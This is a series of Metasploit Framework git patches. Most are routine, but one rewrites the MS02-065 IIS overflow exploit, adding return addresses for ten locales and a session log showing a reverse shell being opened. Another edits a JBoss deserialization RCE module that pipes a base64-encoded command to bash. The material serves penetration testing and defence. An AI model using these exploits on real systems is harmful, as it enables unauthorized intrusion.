f319d6e509b5ad1f6c98b3e58b3ff7e304b2f703 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 7 Jul 2022 08:41:55 -0500 Subject: [PATCH 41/79] more explicitly cross platform file location --- .../auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb index 3a793b1719fb..00ebd11bab03 100644 --- a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb +++ b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb @@ -35,7 +35,7 @@ File.binread(mock_doc) end let(:mock_doc) do - File.expand_path('lotus_domino_hash_response.xml', FILE_FIXTURES_PATH + 'modules/auxiliary/') + File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response.xml') end before do @@ -54,7 +54,7 @@ context 'when the service response does not contain credentials' do let(:mock_doc) do - File.expand_path('lotus_domino_hash_response_no_cred.xml', FILE_FIXTURES_PATH + 'modules/auxiliary/') + File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response_no_cred.xml') end it 'when provided valid XML missing a credential' do subject.dump_hashes(view_id, cookie, uri) From cdd12b3b11fc2df5858868c308d68b37b92535ae Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 7 Jul 2022 09:05:16 -0500 Subject: [PATCH 42/79] expand proof verification string --- .../modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb index 00ebd11bab03..4db8bf0bbde3 100644 --- a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb +++ b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb @@ -48,7 +48,7 @@ context 'when the service response contains credentials' do it 'reports the extracted user and password' do subject.dump_hashes(view_id, cookie, uri) - expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/NULL/) })) + expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/USER_MAIL=NULL/) })) end end From 3f63f9fcd1641311726df812500f981cbbeae9f4 Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 8 Jul 2022 00:26:02 +1000 Subject: [PATCH 43/79] ms02_065_msadc: Cleanup and add additional offsets --- .../exploit/windows/iis/ms02_065_msadc.md | 90 +++++++++++++++ .../exploits/windows/iis/ms02_065_msadc.rb | 107 +++++++++--------- 2 files changed, 146 insertions(+), 51 deletions(-) create mode 100644 documentation/modules/exploit/windows/iis/ms02_065_msadc.md diff --git a/documentation/modules/exploit/windows/iis/ms02_065_msadc.md b/documentation/modules/exploit/windows/iis/ms02_065_msadc.md new file mode 100644 index 000000000000..e357eb66811c --- /dev/null +++ b/documentation/modules/exploit/windows/iis/ms02_065_msadc.md @@ -0,0 +1,90 @@ +## Vulnerable Application + +This module can be used to execute arbitrary code on IIS servers +that expose the /msadc/msadcs.dll Microsoft Data Access Components +(MDAC) Remote Data Service (RDS) DataFactory service. The service is +exploitable even when RDS is configured to deny remote connections +(handsafe.reg). The service is vulnerable to a heap overflow where +the RDS DataStub 'Content-Type' string is overly long. Microsoft Data +Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable. + +This module has been tested successfully on: + +* Windows 2000 Pro SP0-SP3 (English) +* Windows 2000 Pro SP0 (Korean) +* Windows 2000 Pro SP0 (Dutch) +* Windows 2000 Pro SP0 (Finnish) +* Windows 2000 Pro SP0 (Turkish) +* Windows 2000 Pro SP0-SP1 (Greek) +* Windows 2000 Pro SP1 (Arabic) +* Windows 2000 Pro SP1 (Czech) +* Windows 2000 Pro SP2 (French) +* Windows 2000 Pro SP2 (Portuguese) + +## Verification Steps + +1. `use exploit/windows/iis/ms02_065_msadc` +1. `set RHOSTS [IP]` +1. `show targets` to see the possible targets +1. `set TARGET [TARGET]` +1. `set PAYLOAD windows/shell/reverse_tcp` +1. `set LHOST [IP]` +1. `run` + +## Options + +### TARGETURI + +The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`) + +## Scenarios + +### Windows 2000 Professional SP3 (EN) + +``` +msf6 > use exploit/windows/iis/ms02_065_msadc +[*] Using configured payload windows/shell/reverse_tcp +msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186 +rhosts => 192.168.200.186 +msf6 exploit(windows/iis/ms02_065_msadc) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Windows 2000 Pro SP0-SP3 (English) + 1 Windows 2000 Pro SP0 (Korean) + 2 Windows 2000 Pro SP0 (Dutch) + 3 Windows 2000 Pro SP0 (Finnish) + 4 Windows 2000 Pro SP0 (Turkish) + 5 Windows 2000 Pro SP0-SP1 (Greek) + 6 Windows 2000 Pro SP1 (Arabic) + 7 Windows 2000 Pro SP1 (Czech) + 8 Windows 2000 Pro SP2 (French) + 9 Windows 2000 Pro SP2 (Portuguese) + + +msf6 exploit(windows/iis/ms02_065_msadc) > set target 0 +target => 0 +msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf6 exploit(windows/iis/ms02_065_msadc) > check +[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg +msf6 exploit(windows/iis/ms02_065_msadc) > run + +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] Encoded stage with x86/shikata_ga_nai +[*] Sending encoded stage (267 bytes) to 192.168.200.186 +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400 + + +Shell Banner: +Microsoft Windows 2000 [Version 5.00.2195] +----- + + +C:\WINNT\system32>ver +ver + +Microsoft Windows 2000 [Version 5.00.2195] +``` diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index d7d86800cb31..66b887569b3b 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient - def initialize + def initialize(info = {}) super( - 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', - 'Description' => %q{ + update_info( + info, + 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', + 'Description' => %q{ This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is @@ -19,78 +21,81 @@ def initialize (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable. - }, - 'Author' => 'aushack', - 'Platform' => 'win', - 'References' => - [ + }, + 'Author' => 'aushack', + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'References' => [ ['OSVDB', '14502'], ['BID', '6214'], ['CVE', '2002-1142'], ['MSB', 'MS02-065'], ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html'] ], - 'Privileged' => false, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&", - 'StackAdjustment' => -3500, + 'Privileged' => false, + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", + 'StackAdjustment' => -3500 }, - 'DefaultOptions' => - { - 'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/shell/reverse_tcp', + 'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully }, - 'Targets' => - [ - # aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0 - [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll + 'Targets' => [ + # jmp eax ws2help.dll + [ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ], + [ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ], + [ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ], + [ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ], + [ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ], + [ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ], + [ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ], + [ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ], + [ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ], + [ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 20 2002' + 'DefaultTarget' => 0, + 'DisclosureDate' => '2002-11-02', + 'Notes' => { + 'Reliability' => [REPEATABLE_SESSION], + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [IOC_IN_LOGS] + } + ) ) register_options( [ - OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), - ]) + OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ]), + ] + ) end def check - res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), - 'method' => 'GET', - }) - if (res and res.code == 200) - print_status("Server responded with HTTP #{res.code} OK") - if (res.body =~ /Content-Type: application\/x-varg/) - print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") - Exploit::CheckCode::Detected - end - else - Exploit::CheckCode::Safe + res = send_request_cgi('uri' => normalize_uri(target_uri.path)) + + return CheckCode::Unknown('Connection failed') unless res + return CheckCode::Unknown('HTTP server error') if res.code == 500 + return CheckCode::Safe('Access Forbidden') if res.code == 403 + + if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg') + return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg") end + + CheckCode::Safe end def exploit sploit = rand_text_alphanumeric(136) - sploit[24,2] = Rex::Arch::X86.jmp_short(117) + sploit[24, 2] = Rex::Arch::X86.jmp_short(117) sploit << [target['Ret']].pack('V') sploit << payload.encoded - data = 'Content-Type: ' + sploit - - res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), - 'headers' => - { - 'Content-Length' => data.length, - }, - - 'method' => 'POST', - 'data' => data, + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'), + 'method' => 'POST', + 'data' => "Content-Type: #{sploit}" }) - - handler end end From 3ad42dd153c651f91ebc0811f947b2a93c281081 Mon Sep 17 00:00:00 2001 From: Erik Wynter <55885619+ErikWynter@users.noreply.github.com> Date: Thu, 7 Jul 2022 19:04:26 +0300 Subject: [PATCH 44/79] change option names to H3 for weblogic_deserialize_asyncresponseservice docs Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> --- .../multi/misc/weblogic_deserialize_asyncresponseservice.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md index 814b77bb2695..41469c89f39c 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md @@ -48,8 +48,8 @@ msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check ## Options - **TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. - You can also set `VHOST` instead to handle virtual hosts. +### TARGETURI +Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. ## Scenarios From 887db0b76eee19c75740442e752a3bf17d0d229d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 7 Jul 2022 12:04:37 -0500 Subject: [PATCH 45/79] Bump version of framework to 6.2.7 --- Gemfile.lock | 2 +- LICENSE_GEMS | 6 +++--- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5b59a78c7d39..811996371db0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.2.6) + metasploit-framework (6.2.7) actionpack (~> 6.0) activerecord (~> 6.0) activesupport (~> 6.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 9b9948d2eee3..da3794f604e3 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 4.0.4, "New BSD" metasploit-credential, 5.0.7, "New BSD" -metasploit-framework, 6.2.6, "New BSD" +metasploit-framework, 6.2.7, "New BSD" metasploit-model, 4.0.4, "New BSD" metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD" metasploit_data_models, 5.0.5, "New BSD" @@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD" rex-bin_tools, 0.1.8, "New BSD" rex-core, 0.1.28, "New BSD" rex-encoder, 0.1.6, "New BSD" -rex-exploitation, 0.1.30, "New BSD" +rex-exploitation, 0.1.31, "New BSD" rex-java, 0.1.6, "New BSD" rex-mime, 0.1.7, "New BSD" rex-nop, 0.1.2, "New BSD" @@ -155,7 +155,7 @@ ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.11.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.1.5, "New BSD" +ruby_smb, 3.1.6, "New BSD" rubyntlm, 0.6.3, MIT rubyzip, 2.3.2, "Simplified BSD" sawyer, 0.9.2, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 8074a33e3b1b..da3988e8713e 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ def self.get_hash end end - VERSION = "6.2.6" + VERSION = "6.2.7" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 87f32cbf542a7051602671c6ae546f469bdaa62b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 7 Jul 2022 12:32:47 -0500 Subject: [PATCH 46/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 257c596da22c..a8232d6c2a7e 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -16944,11 +16944,13 @@ "disclosure_date": null, "type": "auxiliary", "author": [ - "Nixawk" + "Nixawk", + "e2002e", + "Christophe De La Fuente" ], - "description": "The module use the Censys REST API to access the same data\n accessible through web interface. The search endpoint allows searches\n against the current data in the IPv4, Top Million Websites, and\n Certificates indexes using the same search syntax as the primary site.", + "description": "The module uses the Censys REST API to access the same data accessible\n through the web interface. The search endpoint allows queries using\n the Censys Search Language against the Hosts dataset. Setting the\n CERTIFICATES option will also retrieve the certificate details for each\n relevant service by querying the Certificates dataset.", "references": [ - "URL-https://censys.io/api" + "URL-https://search.censys.io" ], "platform": "", "arch": "", @@ -16960,7 +16962,7 @@ ], "targets": null, - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2022-07-04 17:19:16 +0000", "path": "/modules/auxiliary/gather/censys_search.rb", "is_install_path": true, "ref_name": "gather/censys_search", @@ -16968,6 +16970,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ] }, "session_types": false, "needs_cleanup": false @@ -17247,7 +17258,8 @@ "disclosure_date": null, "type": "auxiliary", "author": [ - "mekhalleh (RAMELLA Sébastien)" + "mekhalleh (RAMELLA Sébastien)", + "Yvain" ], "description": "This module can be useful if you need to test the security of your server and your\n website behind a solution Cloud based. By discovering the origin IP address of the\n targeted host.\n\n More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration\n and Censys) to collect assigned (or have been assigned) IP addresses from the targeted site or domain\n that uses the following:\n * Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,\n Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,\n Netlify and Sucuri.", "references": [ @@ -17263,7 +17275,7 @@ "dns" ], "targets": null, - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2022-06-23 17:27:47 +0000", "path": "/modules/auxiliary/gather/cloud_lookup.rb", "is_install_path": true, "ref_name": "gather/cloud_lookup", From bec15d18bc3eee84bbea834746b11570613758a0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 7 Jul 2022 13:44:11 -0400 Subject: [PATCH 47/79] It's CommonsBeanutils1 not CommonBeanutils1 --- .../Generating-ysoserial-Java-serialized-objects.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/metasploit-framework.wiki/Generating-ysoserial-Java-serialized-objects.md b/docs/metasploit-framework.wiki/Generating-ysoserial-Java-serialized-objects.md index 30e7f3f4d0c8..3ded14c4e8b3 100644 --- a/docs/metasploit-framework.wiki/Generating-ysoserial-Java-serialized-objects.md +++ b/docs/metasploit-framework.wiki/Generating-ysoserial-Java-serialized-objects.md @@ -29,7 +29,7 @@ Once the serialized object is generated and stored as `java_payload`, it's then ### `#generate_java_deserialization_for_payload(name, payload)` This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command). -- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support. +- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonsBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support. - **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer. @@ -169,4 +169,4 @@ DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skippe At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch. [1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30 -[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb \ No newline at end of file +[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb From 43983b6cb6d9f41f4f8c29c27022ff2a1aaab6a9 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 7 Jul 2022 15:45:02 -0500 Subject: [PATCH 48/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index a8232d6c2a7e..3e0df9aaa198 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -103256,7 +103256,7 @@ "Erik de Jong", "Erik Wynter" ], - "description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n will hang for as long as the spawned shell remains open. Closing\n the session should render the app responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.", + "description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n may hang for as long as the spawned shell remains open. For the\n Linux target, the MeterpreterTryToFork option (enabled by default)\n will likely prevent this. If the app hangs, closing the session\n should render it responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.", "references": [ "CVE-2020-16152", "URL-https://github.com/eriknl/CVE-2020-16152" @@ -103283,7 +103283,7 @@ "Linux", "CMD" ], - "mod_time": "2021-11-02 19:58:16 +0000", + "mod_time": "2022-07-01 06:15:13 +0000", "path": "/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb", "is_install_path": true, "ref_name": "unix/webapp/aerohive_netconfig_lfi_log_poison_rce", From 52ac28199115085bbcb61ba5b8097e34bb3c37d2 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 7 Jul 2022 18:05:56 -0500 Subject: [PATCH 49/79] change wording in fail_with() --- .../multi/misc/weblogic_deserialize_asyncresponseservice.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb index 110e0e6df466..ac5c9176aad8 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb @@ -175,7 +175,7 @@ def exploit if res.nil? fail_with(Failure::Unreachable, 'No response from host') elsif res && res.code != 202 - fail_with(Failure::UnexpectedReply, "Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202") + fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202") end end end From 234a83401b6856cebde96d0e14c4dc7e6ad1fd86 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 7 Jul 2022 18:28:57 -0500 Subject: [PATCH 50/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 3e0df9aaa198..d156be511c5a 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -96139,9 +96139,9 @@ "author": [ "Andres Rodriguez - 2Secure (@acamro) " ], - "description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.", + "description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.", "references": [ - "CVE-2017-10271", + "CVE-2019-2725", "CNVD-C-2019-48814", "URL-http://www.cnvd.org.cn/webinfo/show/4999", "URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html", @@ -96170,7 +96170,7 @@ "Windows", "Solaris" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-07-07 18:05:56 +0000", "path": "/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb", "is_install_path": true, "ref_name": "multi/misc/weblogic_deserialize_asyncresponseservice", @@ -96178,6 +96178,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": false, "needs_cleanup": null From 2f7cf90b7f3f53f405b208361275b80e81a5a8c2 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 8 Jul 2022 02:30:26 +0200 Subject: [PATCH 51/79] mixin didn't work with linux_dropper payload - Fixed exception handling variable attribution - Tried to change JavaDeserialization Util to JavaDeserialization mixin instead - Changed the fail reason when the connection is unsuccessful --- .../jboss_remoting_unified_invoker_rce.rb | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb index 4a4444e722e1..9e937baddc43 100644 --- a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb +++ b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager + include Msf::Exploit::JavaDeserialization prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -71,6 +72,9 @@ def initialize(info = {}) end def handshake_data + # MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER + # AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol. + # 00 05: STREAM_VERSION. The serialization version. ['aced0005'].pack('H*') end @@ -82,36 +86,39 @@ def check return Exploit::CheckCode::Appears if data == handshake_data return Exploit::CheckCode::Safe - rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError + rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'") return Exploit::CheckCode::Unknown end + # def exploit def execute_command(cmd, _opts = {}) cmd_encapsulated = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash" - ysoserial_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections5', cmd_encapsulated, modified_type: 'none') + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections5', cmd_encapsulated, modified_type: 'none') + # java_payload = generate_java_deserialization_for_payload('CommonsCollections5', cmd) # MAGIC BYTES JBOSS PROTOCOL: # 0x77: TC_BLOCKDATA # 0x01: Length of TC_BLOCKDATA # 0x16: Protocol version 22 # 0x79: TC_RESET magic_bytes = ['77011679'].pack('H*') - payload = magic_bytes + ysoserial_payload.byteslice(4..) + payload = magic_bytes + java_payload.byteslice(4..) connect sock.put(handshake_data) sock.get_once(16) sock.put(payload) disconnect - print_good("Successfully executed command: #{cmd}") + print_good('Successfully sent payload') rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e - fail_with(Failure::UnexpectedReply, e.message) + fail_with(Failure::Unreachable, e.message) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd - execute_command(payload.encoded) + execute_command(payload.encoded) # Msf::Util::JavaDeserialization.ysoserial_payload + # execute_command(payload) # generate_java_deserialization_for_payload when :linux_dropper execute_cmdstager end From d6b6f47b09dd8e76df5bb01f8052465aeb931c65 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 8 Jul 2022 02:36:18 +0200 Subject: [PATCH 52/79] change doc file --- 